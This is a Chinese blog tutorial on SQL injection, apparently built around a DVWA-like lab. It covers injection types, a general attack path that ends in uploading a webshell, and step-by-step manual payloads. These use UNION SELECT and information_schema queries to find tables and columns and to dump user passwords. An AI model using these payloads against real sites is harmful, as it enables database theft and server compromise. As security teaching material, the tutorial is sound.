SQL Injection(SQL注入)

SQL Injection

SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一

SQL 注入分类 按SQLMap中的分类来看,SQL注入类型有以下 5 种: 

UNION query SQL injection(可联合查询注入)  

Stacked queries SQL injection(可多语句查询注入) 

Boolean-based blind SQL injection(布尔型注入)  

Error-based SQL injection(报错型注入) 

Time-based blind SQL injection(基于时间延迟注入)

SQL 注入常规利用思路:

1、寻找注入点,可以通过 web 扫描工具实现 

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。 

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

4、可以通过获得的用户信息,寻找后台登录。 

5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。

手工注入常规思路:

注意:‘#’在SQL语句中表示注释,注释该符号之后的内容

1.判断是否存在注入,注入是字符型还是数字型 

通过输入嵌套,判断是字符型还是数字型,单引号还是双引号!

1 or 1 = 1

1' or '1' = 1

1" or "1" = "1

2.猜解 SQL 查询语句中的字段数 (使用order by 判断该表单的字段数)

1’ order by 1 #

1’ order by 2 #

1’ order by 3 #

…………

直到得到返回提示

Unknown column '3' in 'order clause'

3.确定显示的字段顺序  使用union链接获取到数据库中那些字段在前端显示

1‘ union select 1,2 ,3,4,#

查看1,2,3,4哪一个位置会返回到前端页面,

4.获取当前数据库(数据库版本version()、当前用户user()、当前所在数据库database())

1’ union select 1,version(),user(),database() #

5.获取数据库中的表  (获取当前数据库的表)

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息

Table_schema数据表所属的数据库名
Table_name表名称
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

6.获取表中的字段名 

COLUMNS表:提供了关于表中的列的信息。详细表述了某个列属于哪个表

1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #

7.查询到账户的数据

1' or 1 = 1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值